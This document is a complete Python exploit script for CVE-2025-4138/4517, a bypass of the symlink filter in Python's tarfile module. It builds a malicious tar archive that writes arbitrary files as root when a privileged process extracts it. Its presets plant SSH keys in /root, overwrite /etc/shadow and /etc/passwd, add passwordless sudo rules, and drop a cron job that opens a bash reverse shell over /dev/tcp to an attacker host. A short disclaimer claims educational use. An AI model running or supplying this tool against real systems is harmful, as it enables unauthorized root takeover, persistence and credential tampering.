#!/usr/bin/env python3
"""
CVE-2025-4138 / CVE-2025-4517 — Python tarfile PATH_MAX Symlink Filter Bypass
==============================================================================

Privilege escalation exploit for any system where a privileged process
running Python 3.12.0–3.12.10 / 3.13.0–3.13.3 calls
    tarfile.extractall(path=..., filter="data")
on an attacker-controlled tar archive.

┌─────────────────────────────────────────────────────────────┐
│  Vulnerability:  CVE-2025-4138 / CVE-2025-4517              │
│  Affected:       Python 3.12.0 – 3.12.10, 3.13.0 – 3.13.3  │
│  Fixed in:       Python 3.12.11, 3.13.4                      │
│  Credit:         Caleb Brown (Google Security Research)      │
│  Advisory:       GHSA-hgqp-3mmf-7h8f                        │
└─────────────────────────────────────────────────────────────┘

Background
----------
Python's tarfile extraction filters ("data" / "tar") use os.path.realpath()
to validate that symlink targets stay within the extraction destination.
However, os.path.realpath() silently stops resolving path components once the
fully-expanded path exceeds PATH_MAX (4096 bytes on Linux, 1024 on macOS).
Unresolved components are appended *literally*, including "../" sequences.

By constructing a chain of directories + symlinks whose *short names* fit
within PATH_MAX but whose *resolved names* exceed it, an attacker can
create a symlink whose target passes the filter check but actually points
outside the extraction directory at extraction time.

Attack Chain
------------
1. Build 16 levels of  dir(247 chars) + symlink(1 char → dir)
   Resolved path grows to ~3968 bytes, nearly filling PATH_MAX.
2. Add a final symlink whose linkname uses the short-name chain + "../../.."
   to traverse out.  os.path.realpath() cannot expand it → passes filter.
3. Through that escaped symlink, write arbitrary files on the filesystem
   (e.g. /root/.ssh/authorized_keys, /etc/cron.d/privesc, /etc/shadow).

Usage
-----
    # Generate SSH key pair (if needed)
    ssh-keygen -t ed25519 -f ~/.ssh/id_ed25519 -N ""

    # Run exploit on target
    python3 exploit.py \\
        --tar-out  ./evil.tar \\
        --target   /root/.ssh/authorized_keys \\
        --payload  ~/.ssh/id_ed25519.pub \\
        --mode     0600

    # Trigger extraction via the vulnerable privileged application
    sudo python3 vulnerable_app.py --extract evil.tar

    # SSH in as root
    ssh -i ~/.ssh/id_ed25519 root@target

For educational and authorized security testing purposes only.
"""

from __future__ import annotations

import argparse
import io
import os
import sys
import tarfile
import textwrap

# ── Constants ────────────────────────────────────────────────────────────────

BANNER = (
    "\033[1;33m"
    '██████╗ ███████╗███████╗███████╗██████╗ ████████╗    ██████╗ ███████╗███╗   ███╗ ██████╗ ███╗   ██╗███████╗\n'
    '██╔══██╗██╔════╝██╔════╝██╔════╝██╔══██╗╚══██╔══╝    ██╔══██╗██╔════╝████╗ ████║██╔═══██╗████╗  ██║██╔════╝\n'
    '██║  ██║█████╗  ███████╗█████╗  ██████╔╝   ██║       ██║  ██║█████╗  ██╔████╔██║██║   ██║██╔██╗ ██║███████╗\n'
    '██║  ██║██╔══╝  ╚════██║██╔══╝  ██╔══██╗   ██║       ██║  ██║██╔══╝  ██║╚██╔╝██║██║   ██║██║╚██╗██║╚════██║\n'
    '██████╔╝███████╗███████║███████╗██║  ██║   ██║       ██████╔╝███████╗██║ ╚═╝ ██║╚██████╔╝██║ ╚████║███████║\n'
    '╚═════╝ ╚══════╝╚══════╝╚══════╝╚═╝  ╚═╝   ╚═╝       ╚═════╝ ╚══════╝╚═╝     ╚═╝ ╚═════╝ ╚═╝  ╚═══╝╚══════╝\n'
    "\033[0m"
    "\n"
    "Exploit by""\033[1;31m DesertDemons""\033[0m"
    "\n"
    "   ╔═══════════════════════════════════════════════════════════════╗\n"
    "   ║  CVE-2025-4138 / CVE-2025-4517  –  tarfile filter bypass      ║\n"
    "   ║  Python PATH_MAX symlink escape  →  arbitrary file write      ║\n"
    "   ╚═══════════════════════════════════════════════════════════════╝\n"
    "\n"
)

# PATH_MAX on Linux is 4096; on macOS it is 1024.
# We pick a directory component length that produces a resolved chain of
# ~3968 bytes (Linux) or ~896 bytes (macOS), leaving room for the final
# traversal payload.
IS_DARWIN = sys.platform == "darwin"
DIR_COMP_LEN = 55 if IS_DARWIN else 247
CHAIN_STEPS = "abcdefghijklmnop"  # 16 levels ─ enough to exceed PATH_MAX
LONG_LINK_LEN = 254               # pad the final symlink name


# ── Helpers ──────────────────────────────────────────────────────────────────

def _check_python_version() -> None:
    """Warn if the *local* Python is already patched (tar is still built the
    same way; the extraction side is what matters)."""
    v = sys.version_info
    patched = (
        (v.major == 3 and v.minor == 12 and v.micro >= 11)
        or (v.major == 3 and v.minor == 13 and v.micro >= 4)
        or (v.major == 3 and v.minor >= 14)
    )
    if patched:
        print("[!] Warning: local Python appears patched — the *target* must")
        print("    be running an unpatched version for the exploit to work.")
        print(f"    Local version: {sys.version}")
        print()


def _resolve_payload(path: str) -> bytes:
    """Read payload from file or treat as literal string."""
    p = os.path.expanduser(path)
    if os.path.isfile(p):
        with open(p, "rb") as fh:
            data = fh.read()
        # Ensure trailing newline for authorized_keys, crontabs, etc.
        if not data.endswith(b"\n"):
            data += b"\n"
        return data
    # Treat argument as literal payload text
    return path.encode() + b"\n"


# ── Core: build the malicious tar ────────────────────────────────────────────

def build_exploit_tar(
    tar_path: str,
    target_file: str,
    payload: bytes,
    file_mode: int = 0o644,
) -> None:
    """
    Construct a tar archive that, when extracted with ``filter="data"``
    on a vulnerable Python, writes *payload* to *target_file* outside the
    extraction directory.

    Parameters
    ----------
    tar_path : str
        Where to write the malicious tar archive.
    target_file : str
        Absolute path of the file to create/overwrite on the target
        (e.g. ``/root/.ssh/authorized_keys``).
    payload : bytes
        Content to write into *target_file*.
    file_mode : int
        Unix permission bits for the written file (default 0o644).
    """

    comp = "d" * DIR_COMP_LEN          # long directory name component
    inner_path = ""                     # accumulates the nested path

    # Ensure the output directory exists
    out_dir = os.path.dirname(os.path.abspath(tar_path))
    os.makedirs(out_dir, exist_ok=True)

    # Remove stale file if it exists (tarfile "w" can fail otherwise)
    if os.path.exists(tar_path):
        try:
            os.remove(tar_path)
        except OSError as e:
            print(f"[!] Cannot remove existing {tar_path}: {e}", file=sys.stderr)
            sys.exit(1)

    try:
        tar = tarfile.open(tar_path, "w")
    except OSError as e:
        print(f"[!] Cannot create tar at {tar_path}: {e}", file=sys.stderr)
        print(f"[*] Tip: try writing to /tmp first, then copy to the target path.", file=sys.stderr)
        sys.exit(1)

    with tar:

        # ── Stage 1: symlink chain that inflates the resolved path ────────
        #
        #   For each step i ∈ {a, b, c, …, p}:
        #     • Create directory  <inner_path>/<comp>         (247 chars)
        #     • Create symlink    <inner_path>/<i>  →  <comp>
        #
        #   The *short* path through symlinks is   a/b/c/d/…/p   (31 chars)
        #   The *resolved* path is                 ddd…/ddd…/…    (~3968 chars)
        #
        #   os.path.realpath() tracks the resolved path; once it crosses
        #   PATH_MAX it stops expanding further components.

        for step_char in CHAIN_STEPS:
            # Directory entry
            d = tarfile.TarInfo(name=os.path.join(inner_path, comp))
            d.type = tarfile.DIRTYPE
            tar.addfile(d)

            # Symlink  <step_char>  →  <comp>
            s = tarfile.TarInfo(name=os.path.join(inner_path, step_char))
            s.type = tarfile.SYMTYPE
            s.linkname = comp
            tar.addfile(s)

            # Descend into the *actual* directory for the next level
            inner_path = os.path.join(inner_path, comp)

        # ── Stage 2: final symlink that escapes ──────────────────────────
        #
        #   Build the short-name path:  a/b/c/…/p/<pad>
        #   Its linkname is  ../../../../../../../../../../../../../../..
        #   which walks back to the extraction root (16 levels of "..").
        #
        #   Because the resolved prefix already exceeds PATH_MAX,
        #   os.path.realpath() never expands this linkname — the filter
        #   sees it as a relative path *inside* the extraction dir.
        #   At extraction time, the kernel follows the real symlinks and
        #   the ".." components land us at the filesystem root.

        short_chain = "/".join(CHAIN_STEPS)
        link_name = os.path.join(short_chain, "l" * LONG_LINK_LEN)

        pivot = tarfile.TarInfo(name=link_name)
        pivot.type = tarfile.SYMTYPE
        pivot.linkname = "../" * len(CHAIN_STEPS)   # back to extraction root
        tar.addfile(pivot)

        # ── Stage 3: "escape" symlink → target's parent ─────────────────
        #
        #   We point the escape symlink at the GRANDPARENT of the target
        #   file so we can create any missing intermediate directories
        #   (e.g. /root/.ssh) inside the tar before writing the payload.
        #
        #   escape  →  <link_name>/../../../../<target_grandparent>
        #
        #   Since <link_name> resolves (via the kernel) to the extraction
        #   root, appending "../../../../<target_grandparent>" walks us to
        #   the absolute target's grandparent on the real filesystem.

        target_dir = os.path.dirname(target_file)       # e.g. /root/.ssh
        target_basename = os.path.basename(target_file)  # e.g. authorized_keys

        # Split the target path to identify parent dirs we need to create.
        # For /root/.ssh/authorized_keys:
        #   escape_root  = /root          (grandparent — likely exists)
        #   subdirs      = [".ssh"]       (directories to create)
        #   target_basename = authorized_keys
        #
        # For /etc/cron.d/pwned:
        #   escape_root  = /etc/cron.d    (parent — likely exists)
        #   subdirs      = []
        #   target_basename = pwned

        # Walk up from target_dir to find directories that likely exist,
        # and collect intermediate dirs we need to create inside the tar.
        # We create ALL intermediate dirs to be safe.
        target_parts = target_dir.strip("/").split("/")
        # Escape to filesystem root, then re-enter through the first component
        # This ensures we can create any missing subdirectories
        escape_root = "/" + target_parts[0] if target_parts else "/"
        subdirs = target_parts[1:] if len(target_parts) > 1 else []

        # Calculate how many "../" we need to go from the extraction root
        # to filesystem root, then append the escape root.
        # A safe over-count of "../" is fine (can't go above /).
        depth = 8  # generous depth to reach /
        escape_linkname = (
            link_name + "/" + ("../" * depth) + escape_root.lstrip("/")
        )

        esc = tarfile.TarInfo(name="escape")
        esc.type = tarfile.SYMTYPE
        esc.linkname = escape_linkname
        tar.addfile(esc)

        # ── Stage 4: create intermediate directories ─────────────────────
        #
        #   For targets like /root/.ssh/authorized_keys, the .ssh directory
        #   may not exist. We create each intermediate directory entry in
        #   the tar so extractall() builds the path.

        dir_path = "escape"
        for subdir in subdirs:
            dir_path = f"{dir_path}/{subdir}"
            dir_entry = tarfile.TarInfo(name=dir_path)
            dir_entry.type = tarfile.DIRTYPE
            dir_entry.mode = 0o700
            dir_entry.uid = 0
            dir_entry.gid = 0
            tar.addfile(dir_entry)
            print(f"[+] Creating directory:     {'/'.join([''] + target_parts[:target_parts.index(subdir)+1])}/")

        # ── Stage 5: write the payload through the escaped symlink ───────

        payload_path = dir_path + "/" + target_basename
        payload_entry = tarfile.TarInfo(name=payload_path)
        payload_entry.type = tarfile.REGTYPE
        payload_entry.size = len(payload)
        payload_entry.mode = file_mode
        payload_entry.uid = 0
        payload_entry.gid = 0
        tar.addfile(payload_entry, fileobj=io.BytesIO(payload))

    print(f"[+] Exploit tar written to: {tar_path}")
    print(f"[+] Target file:            {target_file}")
    print(f"[+] Payload size:           {len(payload)} bytes")
    print(f"[+] File mode:              {oct(file_mode)}")


# ── Preset attack payloads ───────────────────────────────────────────────────

PRESETS: dict[str, dict] = {
    "ssh-key": {
        "description": "Write SSH public key to /root/.ssh/authorized_keys",
        "target": "/root/.ssh/authorized_keys",
        "mode": 0o600,
    },
    "cron": {
        "description": "Drop a root cron reverse shell to /etc/cron.d/pwned",
        "target": "/etc/cron.d/pwned",
        "mode": 0o644,
    },
    "shadow": {
        "description": "Overwrite /etc/shadow (dangerous!)",
        "target": "/etc/shadow",
        "mode": 0o640,
    },
    "sudoers": {
        "description": "Add NOPASSWD sudo rule to /etc/sudoers.d/pwned",
        "target": "/etc/sudoers.d/pwned",
        "mode": 0o440,
    },
    "passwd": {
        "description": "Overwrite /etc/passwd to add a root user",
        "target": "/etc/passwd",
        "mode": 0o644,
    },
}


def generate_preset_payload(preset: str, extra: str = "") -> bytes:
    """Generate common attack payloads for well-known presets."""
    if preset == "cron":
        lhost = extra or "CHANGEME"
        return (
            f"* * * * * root /bin/bash -c "
            f"'bash -i >& /dev/tcp/{lhost}/4444 0>&1'\n"
        ).encode()
    if preset == "sudoers":
        user = extra or "lowpriv_user"
        return f"{user} ALL=(ALL) NOPASSWD: ALL\n".encode()
    # For ssh-key, shadow, passwd the user must supply --payload
    return b""


# ── CLI ──────────────────────────────────────────────────────────────────────

def parse_args() -> argparse.Namespace:
    p = argparse.ArgumentParser(
        prog="exploit.py",
        description="CVE-2025-4138 / CVE-2025-4517: Python tarfile filter bypass via PATH_MAX",
        formatter_class=argparse.RawDescriptionHelpFormatter,
        epilog=textwrap.dedent("""\
            examples:
              # Write an SSH key to root's authorized_keys
              %(prog)s --preset ssh-key \\
                       --payload ~/.ssh/id_ed25519.pub \\
                       --tar-out ./evil.tar

              # Drop a cron reverse shell
              %(prog)s --preset cron --extra 10.10.14.5 \\
                       --tar-out /tmp/evil.tar

              # Add passwordless sudo for current user
              %(prog)s --preset sudoers --extra myuser \\
                       --tar-out /tmp/evil.tar

              # Arbitrary target file
              %(prog)s --target /etc/motd --payload "hacked" \\
                       --tar-out /tmp/evil.tar
        """),
    )

    p.add_argument(
        "--tar-out", "-o",
        required=True,
        help="Path where the malicious tar archive will be written.",
    )

    target_grp = p.add_mutually_exclusive_group(required=True)
    target_grp.add_argument(
        "--preset", "-p",
        choices=list(PRESETS.keys()),
        help="Use a built-in attack preset.",
    )
    target_grp.add_argument(
        "--target", "-t",
        help="Absolute path of the file to write on the target system.",
    )

    p.add_argument(
        "--payload", "-P",
        help="File path or literal string to write. Required for --target and "
             "ssh-key/shadow/passwd presets.",
    )
    p.add_argument(
        "--extra", "-e",
        default="",
        help="Extra parameter for presets (e.g. LHOST for cron, username for sudoers).",
    )
    p.add_argument(
        "--mode", "-m",
        default=None,
        help="Octal file mode for the written file (e.g. 0600). "
             "Defaults to preset value or 0644.",
    )

    return p.parse_args()


def main() -> None:
    print(BANNER)
    args = parse_args()
    _check_python_version()

    # Resolve target and payload
    if args.preset:
        cfg = PRESETS[args.preset]
        target_file = cfg["target"]
        file_mode = cfg["mode"]
        print(f"[*] Preset: {args.preset} — {cfg['description']}")

        if args.payload:
            payload = _resolve_payload(args.payload)
        else:
            payload = generate_preset_payload(args.preset, args.extra)

        if not payload:
            print(f"[!] Preset '{args.preset}' requires --payload. Aborting.", file=sys.stderr)
            sys.exit(1)
    else:
        target_file = args.target
        file_mode = 0o644

        if not target_file.startswith("/"):
            print("[!] --target must be an absolute path.", file=sys.stderr)
            sys.exit(1)

        if not args.payload:
            print("[!] --payload is required with --target.", file=sys.stderr)
            sys.exit(1)

        payload = _resolve_payload(args.payload)

    if args.mode is not None:
        file_mode = int(args.mode, 8)

    # Build the exploit tar
    build_exploit_tar(
        tar_path=args.tar_out,
        target_file=target_file,
        payload=payload,
        file_mode=file_mode,
    )

    print()
    print("[*] Next steps:")
    print(f"    1. Trigger extraction of {os.path.basename(args.tar_out)}")
    print(f"       as a privileged user with vulnerable Python (3.12.0–3.12.10 / 3.13.0–3.13.3)")
    print(f"    2. Verify that {target_file} was written.")
    print()
    print("[*] Done.")


if __name__ == "__main__":
    main()